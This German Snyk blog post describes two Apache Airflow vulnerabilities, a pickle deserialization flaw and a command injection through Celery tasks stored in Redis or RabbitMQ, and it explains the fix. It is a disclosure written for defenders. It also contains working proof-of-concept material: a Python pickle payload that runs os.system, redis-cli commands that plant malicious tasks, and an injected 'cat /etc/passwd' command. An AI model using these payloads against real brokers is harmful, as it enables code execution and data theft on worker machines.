Skip to main content

Ausbruch aus Message Brokern

Artikel von
Headshot of Adam Goldschmidt

Adam Goldschmidt

5. August 2020

0 Min. Lesezeit

Kürzlich habe ich zwei Schwachstellen in Apache Airflow gemeldet – einer Open-Source-Bibliothek, mit der Entwickler Workflows programmatisch erstellen, planen und überwachen können. Beide Schwachstellen ermöglichen es Angreifern, den Geltungsbereich zu ändern und Berechtigungen für eine andere Maschine zu erlangen. Bei beiden muss der Angreifer vor dem Angriff Zugriff auf den Message Broker erhalten.

In diesem Blogbeitrag möchte ich Ihnen zeigen, warum Message Broker nicht vertrauenswürdig sind und wie ich Apache Airflow ausnutzen konnte, um Berechtigungen auf eigentlich geschützten Maschinen zu erlangen. Bevor wir uns damit befassen, sehen wir uns jedoch zunächst die Grundlagen von Message Brokern an.

Was ist ein Message Broker?

Ein Message Broker ist eine Software, die es Diensten ermöglicht, miteinander zu kommunizieren und Informationen auszutauschen. Das mag einer API ähneln, doch ein Message Broker setzt dafür in der Regel eine Queue ein, in die verschiedene Dienste schreiben oder aus der sie lesen können. So können diese Dienste asynchron miteinander kommunizieren – auch wenn sie in unterschiedlichen Programmiersprachen geschrieben oder auf verschiedenen Plattformen implementiert wurden.

Message Broker können als Brücke zwischen Anwendungen dienen. Sender können so Nachrichten veröffentlichen, ohne zu wissen, wo sich die Empfänger befinden oder wie viele es gibt. Wie oben erwähnt, übernimmt das eine Komponente namens Message Queue, die Nachrichten speichert, bis ein konsumierender Dienst sie verarbeitet. Diese Queues ermöglichen auch asynchrone Programmierung: Da die Queues für die Zustellung der Nachrichten verantwortlich sind, kann der Sender andere Aufgaben erledigen.

Anwendungsfälle von Message Brokern

Message Broker kommen in der Softwareentwicklung häufig zum Einsatz. Sie sind nützlich, wenn eine zuverlässige Kommunikation zwischen mehreren Diensten, eine garantierte Nachrichtenzustellung oder asynchrone Funktionen erforderlich sind.

Die Anwendungsfälle von Message Brokern sind vielfältig. Hier versuche ich, die gängigsten zu benennen:

  1. Zahlungsabwicklung: Zahlungen müssen genau einmal gesendet werden. Werden diese Transaktionen über Message Broker abgewickelt, gehen Zahlungsinformationen weder verloren noch werden sie doppelt verarbeitet. Außerdem lässt sich der Empfang nachweisen.

  2. Asynchrone Aufgaben: Aufwendige Verarbeitung lässt sich von einer Live-Benutzeranfrage entkoppeln. So erfolgt die Antwort sofort und der Benutzer wird nicht blockiert.

  3. Nachrichten an ein oder mehrere Ziele weiterleiten: Es ist einfacher und besser wartbar, Nachrichten an eine einzige Quelle zu veröffentlichen, aus der mehrere Dienste lesen können.

Nachdem Sie nun wissen, was Message Broker sind und wofür sie verwendet werden, sehen wir uns an, warum und wie sie angreifbar sein können.

Zu viel Vertrauen in Message Broker

Jeder Entwickler weiß, dass Datenbanken kompromittiert werden können. Üblicherweise ergreifen wir zusätzliche Sicherheitsmaßnahmen – etwa das Verschlüsseln von Passwörtern –, damit Angreifer es schwerer haben, selbst wenn die Datenbank irgendwie kompromittiert wurde.

Logischerweise sollte das bei Message Brokern genauso sein, oder? Die übertragenen Daten erreichen schließlich verschiedene Maschinen und sollten besonders sorgfältig behandelt werden. Dazu gehört nicht nur, vertrauliche Informationen zu verschlüsseln, sondern auch die Maschinen zu schützen, die mit ihnen interagieren.

Leider ist das nicht der Fall. Unser Sicherheitsteam entdeckte in freier Wildbahn einige Beispiele für den unsicheren Einsatz von Message Brokern – darunter Apache Airflow. Dabei wird den Message Brokern zu viel Vertrauen entgegengebracht. So werden beispielsweise Befehle in ihnen gespeichert und anschließend ohne Bereinigung ausgeführt. Das kann zu Befehlsinjektionen oder zur Remote-Code-Ausführung auf den Maschinen führen, die mit den Brokern kommunizieren.

Apache Airflow ausnutzen

Was ist Apache Airflow?

Wie oben kurz erwähnt, ist Apache Airflow ein umfassendes Workflow-Managementsystem. Mit Airflow werden Workflows als DAGs (gerichtete azyklische Graphen) entworfen und dargestellt. Jeder Schritt des DAGs ist als bestimmte Aufgabe definiert. Die Code-first-Plattform ermöglicht es Ihnen, Workflows schnell und effizient weiterzuentwickeln.

Airflow enthält einen Task-Scheduler, der für die Planung und Ausführung der DAGs zuständig ist. Der Scheduler verwendet eine Komponente namens Executor, um die DAGs auszuführen.

Eine Zero-Day-Schwachstelle in Airflow finden

Alles begann damit, dass ich nach Deserialisierungsschwachstellen in Open-Source-Software suchte, die Celery als Abhängigkeit verwendet – eine verteilte Python-Task-Queue, die einen Message Broker implementiert.

Ich fand heraus, dass Airflow Celery (als Executor) standardmäßig mit pickle verwendet. Außerdem wusste ich, dass es eine bekannte Schwachstelle im Python-Modul pickle gibt, das Celery früher standardmäßig verwendete.

Das folgende Diagramm zeigt grob, wie Airflow mit Celery funktioniert:

Diagramm: Ein Airflow Scheduler auf einem Master-Knoten sendet Aufgaben über einen Message-Broker an mehrere Worker.

Der Airflow-Scheduler verwendet Celery als Executor. Dieser speichert die Aufgaben und führt sie nach einem Zeitplan aus.

Celery verwendet den Message Broker (Redis, RabbitMQ), um die Aufgaben zu speichern. Anschließend lesen die Worker die Aufgaben aus dem Message Broker und führen sie aus.

Die Airflow-Celery-Worker deserialisieren pickle-Daten, die im Message Broker gespeichert sind. Das bedeutet: Wenn ich Zugriff auf den Message Broker erlange, kann ich durch einen Deserialisierungsangriff Remote-Code-Ausführung in den Workern erreichen. Diese Schwachstelle erhielt die Kennung CVE-2020-11982.

Moment, was ist ein Deserialisierungsangriff?

Bei der Serialisierung wird ein Objekt in eine Bytefolge umgewandelt, die auf einem Datenträger oder in einer Datenbank gespeichert oder über Datenströme gesendet werden kann. Der umgekehrte Vorgang, bei dem aus einer Bytefolge ein Objekt erstellt wird, heißt Deserialisierung. Serialisierung wird häufig für die Kommunikation (zum Austausch von Objekten zwischen mehreren Hosts) und für die Persistenz (zum Speichern des Objektzustands in einer Datei oder Datenbank) verwendet.

Bei einem Deserialisierungsangriff deserialisiert die Anwendung Daten, ohne ausreichend zu überprüfen, ob die resultierenden Daten sicher sind. Dadurch kann der Angreifer den Zustand oder den Ausführungsablauf kontrollieren. Ich sage nicht, dass Message Broker keine serialisierten Daten speichern dürfen – es gibt viele Anwendungsfälle, in denen das erforderlich ist. Bei der Umsetzung eines solchen Entwurfs sollte man dies jedoch berücksichtigen und für diese Fälle zusätzliche Sicherheitsmaßnahmen in Betracht ziehen.

Wenn Sie mehr über Deserialisierungsangriffe erfahren möchten, lesen Sie diesen Artikel.

Airflow dazu bringen, meine Aufgaben mit pickle zu deserialisieren

Zunächst erstellte ich eine neue Airflow-Aufgabe und untersuchte ihre Struktur. Ich fügte einen DAG (eine Sammlung von Aufgaben) hinzu, wies ihn einer Queue namens „test“ zu, stellte Redis als Celery-Broker ein und startete die Queue:

airflow worker -q test

airflow worker -q test

Ich untersuchte die Struktur der Redis-Nachrichten und entdeckte, dass die Nachrichten in einer Redis-Hash-Tabelle namens unacked gespeichert werden. Die Werte in dieser Hash-Tabelle haben folgende Struktur:

127.0.0.1:6379> hgetall unacked
"[{"body":
"W1tbImFpcmZsb3ciLCAicnVuIiwgImV4cCIsICJzbGVlcCIsICIyMDAwLTA2LTAxVDAwOjAwOjAwKzAwOjAwIiwgIi0tcGlja2xlIiwgIjE1IiwgIi0tbG9jYWwiLCAiLS1wb29sIiwgImRlZmF1bHRfcG9vbCJdXSwge30sIHsiY2FsbGJhY2tzIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbH1d", 
"content-encoding": "utf-8", "content-type": 
"application/json", "headers": {"lang": "py", "task":
"airflow.executors.celery_executor.execute_command", "id": 
"2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "shadow": null, "eta": null, "expires": null, "group": null, "retries": 0, 
"timelimit": [null, null], "root_id": 
"2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "parent_id": null, 
"argsrepr": "[['airflow', 'run', 'exp', 'sleep', 
'2000-06-01T00:00:00+00:00', '--pickle', '15', '--local', '--pool', 'default_pool']]", "kwargsrepr": "{}", "origin": 
"gen33311@Adam-Snyk.local"}, "properties": {"correlation_id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "reply_to": 
"2af287f9-6236-360b-a0fb-ebc63e9db1fb", "delivery_mode": 2, "delivery_info": {"exchange": "", "routing_key": "test"}, "priority": 0, "body_encoding": "base64", "delivery_tag": "11e26b54-936a-4d23-b24a-6b764a4982a8"}}, "", "test"]"

Interessant sind die Werte body, content-type und content-encoding. Der decodierte Wert von body lautet:

❯ echo "W1tbImFpcmZsb3ciLCAicnVuIiwgImV4cCIsICJzbGVlcCIsICIyMDAwLTA2LTAxVDAwO
jAwOjAwKzAwOjAwIiwgIi0tcGlja2xlIiwgIjE1IiwgIi0tbG9jYWwiLCAiLS1wb29sIiw
gImRlZmF1bHRfcG9vbCJdXSwge30sIHsiY2FsbGJhY2tzIjogbnVsbCwgImVycmJhY2tzI
jogbnVsbCwgImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbH1d" | base64 -d
[[["airflow", "run", "exp", "sleep", "2000-06-01T00:00:00+00:00", "--pickle", "15", "--local", "--pool", "default_pool"]], {}, 
{"callbacks": null, "errbacks": null, "chain": null, "chord": null}]%

Beachten Sie, dass hier die eigentlichen Befehle gespeichert sind! Das wird für die zweite Schwachstelle wichtig. Außerdem fand ich eine Menge namens unacked_index. Ich nahm an, dass ihre Elemente mit den Schlüsseln der Hash-Tabelle übereinstimmen, und überprüfte das. Zuerst rief ich die Schlüssel der Hash-Tabelle ab:

127.0.0.1:6379> hkeys unacked
1) "1038272e-239b-4f94-b651-842005a486f7"
2) "6aa4d9be-472a-4f89-b97f-ba42b1623f30"
3) "616c8063-95f1-4778-9a4d-517a9bd548e0"
4) "130f9cb7-baaa-48dd-bf7c-d5dcadf219f0"
5) "9b1de8a0-7aef-4209-9727-c6888d1686f5"
6) "fd4963a8-7187-4add-8c81-3b97c48aab7d"
7) "5b9a0aec-d359-4f37-b09b-0351e2ce2bac"

Anschließend ließ ich mir alle Elemente von unacked_index anzeigen:

127.0.0.1:6379> zrange unacked_index 0 -1
1) "5b9a0aec-d359-4f37-b09b-0351e2ce2bac"
2) "fd4963a8-7187-4add-8c81-3b97c48aab7d"
3) "1038272e-239b-4f94-b651-842005a486f7"
4) "130f9cb7-baaa-48dd-bf7c-d5dcadf219f0"
5) "9b1de8a0-7aef-4209-9727-c6888d1686f5"
6) "616c8063-95f1-4778-9a4d-517a9bd548e0"
7) "6aa4d9be-472a-4f89-b97f-ba42b1623f30"

Wie Sie sehen, sind es tatsächlich dieselben Werte, nur in einer anderen Reihenfolge. Zu diesem Zeitpunkt war ich ziemlich sicher, dass unacked_index die IDs der auszuführenden Aufgaben speichert und die Hash-Tabelle die Aufgaben den jeweiligen IDs zuordnet. Um eine neue benutzerdefinierte Aufgabe hinzuzufügen, musste ich also einen beliebigen Wert zu unacked_index hinzufügen und anschließend in der Hash-Tabelle ein neues Element mit demselben Wert als Schlüssel und einer schädlichen Payload als Wert erstellen.

Für einen Deserialisierungsangriff brauchte ich eine schädliche Payload. Ich erstellte schnell ein Python-Skript, das eine Payload ausgibt, die beim Deserialisieren mit pickle eine neue Datei namens malicious erstellt:

class RunCmd(object):
    def __reduce__(self):
        return (os.system, ("touch malicious",))

print(base64.b64encode(pickle.dumps(RunCmd())))

Mehr über das Ausnutzen von pickle in Python erfahren Sie hier. Um die Queue dazu zu bringen, den schädlichen Wert abzurufen und mit pickle zu deserialisieren, musste ich content-type auf application/x-python-serialize (pickle) und content-encoding auf binary setzen. So sieht ein PoC zum Hinzufügen einer schädlichen Aufgabe aus:

127.0.0.1:6379> zadd unacked_index 1 5b9a0aec-d359-4f37-b09b-0351e2ce2bac

127.0.0.1:6379> hset unacked 5b9a0aec-d359-4f37-b09b-0351e2ce2bac "[{"body": "gASVKgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA90b3VjaCBtYWxpY2lvdXOUhZRSlC4=", "content-encoding": "binary", "content-type": "application/x-python-serialize", "headers": {"lang": "py", "task": "airflow.executors.celery_executor.execute_command", "id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "shadow": null, "eta": null, "expires": null, "group": null, "retries": 0, "timelimit": [null, null], "root_id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "parent_id": null, "argsrepr": "[['airflow', 'run', 'exp', 'sleep', '2000-06-01T00:00:00+00:00', '--pickle', '15', '--local', '--pool', 'default_pool']]", "kwargsrepr": "{}", "origin": "gen33311@Adam-Snyk.local"}, "properties": {"correlation_id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "reply_to": "2af287f9-6236-360b-a0fb-ebc63e9db1fb", "delivery_mode": 2, "delivery_info": {"exchange": "", "routing_key": "test"}, "priority": 0, "body_encoding": "base64", "delivery_tag": "11e26b54-936a-4d23-b24a-6b764a4982a8"}}, "", "test"]"

Wie oben beschrieben, ging ich folgendermaßen vor:

  1. Ich fügte unacked_index einen beliebigen Wert als Aufgaben-ID hinzu.

  2. Ich fügte unacked ein neues Element hinzu: die zuvor erstellte ID als Schlüssel und eine schädliche Payload als Wert. Die schädliche Payload enthielt die Base64-kodierte Payload als Wert von body.

Die folgende Abbildung veranschaulicht den Vorgang:

Diagramm eines Message Brokers, der Aufgaben in Redis oder RabbitMQ speichert, Befehle bereinigt und an Worker 1 und Worker 2 weiterleitet.

Ich startete die Test-Queue – und voilà! Auf dem Worker, der die Queue ausführte, wurde eine neue Datei namens malicious erstellt. Der Geltungsbereich wurde vollständig verändert. Die Auswirkungen dieser Schwachstelle erkläre ich, nachdem wir uns die nächste Schwachstelle angesehen haben!

Schwachstelle durch Befehlsinjektion

Nun zur zweiten Schwachstelle: einer Befehlsinjektion mit der Kennung CVE-2020-11981.

Bei der Untersuchung des Airflow-Quellcodes stellte ich fest, dass die Befehle aus dem Message Broker ohne Bereinigung ausgeführt werden. Nachdem ich zunächst – wie üblich, wenn man erfolgreich eine Schwachstelle gefunden hat – „YAY!“ gerufen hatte, kehrte ich zu Redis zurück und fand heraus, dass ich die folgende Payload in den Schlüssel body einschleusen kann:

❯ echo "[[["cat /etc/passwd"]], {}, {"callbacks": null, "errbacks": null, "chain": null, "chord": null}]" | base64
W1tbImNhdCAvZXRjL3Bhc3N3ZCJdXSwge30sIHsiY2FsbGJhY2tzIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbH1dCg==

Nach derselben Logik wie zuvor folgt hier ein Proof of Concept. content-type und content-encoding müssen diesmal nicht geändert werden, da wir keine pickle-Operationen benötigen:

127.0.0.1:6379> hset unacked 5b9a0aec-d359-4f37-b09b-0351e2ce2bac "[{"body": "W1tbImNhdCAvZXRjL3Bhc3N3ZCJdXSwge30sIHsiY2FsbGJhY2tzIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbH1dCg==", "content-encoding": "utf-8", "content-type": "application/json", "headers": {"lang": "py", "task": "airflow.executors.celery_executor.execute_command", "id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "shadow": null, "eta": null, "expires": null, "group": null, "retries": 0, "timelimit": [null, null], "root_id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "parent_id": null, "argsrepr": "[['airflow', 'run', 'exp', 'sleep', '2000-06-01T00:00:00+00:00', '--pickle', '15', '--local', '--pool', 'default_pool']]", "kwargsrepr": "{}", "origin": "gen33311@Adam-Snyk.local"}, "properties": {"correlation_id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "reply_to": "2af287f9-6236-360b-a0fb-ebc63e9db1fb", "delivery_mode": 2, "delivery_info": {"exchange": "", "routing_key": "test"}, "priority": 0, "body_encoding": "base64", "delivery_tag": "11e26b54-936a-4d23-b24a-6b764a4982a8"}}, "", "test"]"

Anschließend fand ich heraus, dass sich diese Payload auch über das RabbitMQ-Dashboard in RabbitMQ einschleusen lässt. RabbitMQ verwendet nicht dieselbe Struktur wie Redis, daher genügt eine einfache JSON-Liste ohne Base64-Kodierung.

Die Auswirkungen dieser Schwachstelle ähneln denen der vorherigen: vollständige Kontrolle über Worker-Maschinen. Stellen Sie sich zur Veranschaulichung vor, dass der Angreifer bis zur Ausnutzung dieser Schwachstelle nur Zugriff auf eine einzige Maschine hatte – den Message Broker. Bei manchen Installationen ist es außerdem möglich, über eine API Nachrichten in den Message Broker einzuschleusen, ohne überhaupt Zugriff auf die Maschine zu erlangen, auf der der Message Broker läuft.

Nach der vollständigen Übernahme der Worker-Maschine kann es möglich sein, Geheimnisse offenzulegen, einen Denial-of-Service-Angriff auszuführen und sogar Zugriff auf weitere Maschinen in derselben Infrastruktur zu erlangen. Schwachstellen wie diese, mit denen Angreifer den Umfang und die Berechtigungen ihres Angriffs innerhalb eines kompromittierten Netzwerks ausweiten können, machen mitunter den Unterschied zwischen einem geringfügigen Sicherheitsvorfall und einem umfassenden Sicherheitsvorfall aus.

Behebung

Diagramm, das zeigt, wie ein Angreifer eine schädliche Python-Payload in einen Message Broker einschleust, wo Airflow-Worker sie deserialisieren und ausführen.

Wenn Sie sich dafür entscheiden, Befehle in Ihrem Message Broker zu speichern, könnte die Behebung wie in der obigen Abbildung aussehen. Selbst wenn ein Angreifer den Message Broker kontrolliert, führt der Worker so nur bekannte Befehle aus und bereinigt unerwartete Eingaben. Apache entschied sich für diese Behebungsmethode, da die Paketlogik voraussetzt, dass die Befehle im Message Broker gespeichert werden.

Was die Infrastruktursicherheit betrifft, sollten Sie Ihren Message Broker mit geeigneten Sicherheitsmaßnahmen wie einer ordnungsgemäßen Authentifizierung und TLS absichern. So wird es Angreifern erschwert, überhaupt Zugriff darauf zu erlangen.

Fazit

Diese beiden Schwachstellen zeigen, wie ich allein durch Zugriff auf den Message Broker Code und Befehle auf dem Queue-Server (oder Worker) ausführen konnte. Wichtig ist dabei, dass Redis in seiner Standardkonfiguration kein Passwort erfordert.

Das Apache-Team hat diese Schwachstellen schnell anerkannt und behoben. Das Snyk Security Team stuft sie zwar nicht als besonders kritisch ein, da für beide zunächst Zugriff auf die Infrastruktur erforderlich ist. Dennoch sind sie gefährlich. Es ist nicht ungewöhnlich, dass für die Ausnutzung einer Schwachstelle zunächst Berechtigungen oder weitere Schwachstellen – also eine Art Angriffskette – erforderlich sind.

Die wichtigste Erkenntnis, die Sie aus diesem Beitrag mitnehmen sollten, lautet: Vertrauen Sie Ihren Message-Brokern nicht blind. Denken Sie über Design und Architektur der Broker nach und überlegen Sie, wie Sie die Risiken bei ihrem Einsatz minimieren können.

Starten Sie mit Capture the Flag

Erfahren Sie in unserem virtuellen On-Demand-Workshop für Einsteiger, wie Sie Capture-the-Flag-Herausforderungen lösen.

Weiterlesen

Blog

Frontier-Modelle fanden die Schwachstellen. Nur der Angreifer fand die Angriffsketten.

Die statische Analyse fand die Schwachstellen, doch erst Live-Angriffstests bewiesen, wie sie sich zu Angriffen verketten lassen. Ein Vergleich von Evo COS, Claude Security und Claude Code Security.

feature insights context
Blog

Autonome Angriffe sind bereits Realität. Die Verteidigung muss Schritt halten.

Autonome Angreifer verkürzen das Zeitfenster für die Verteidigung. Erfahren Sie, wie kontinuierliches Erkennen, Beheben, Validieren und Verhindern Sicherheitsteams helfen kann, Schritt zu halten.

Blog

Ihr Schwachstellen-Backlog ist keine technische Schuld mehr, sondern eine Angriffsfläche

Ein wachsender Schwachstellen-Backlog ist mehr als eine technische Altlast: Er ist eine Angriffsfläche. Erfahren Sie, warum veraltete Risikoeinschätzungen, automatisierte Angreifer und verkettete Findings einen neuen Ansatz erfordern.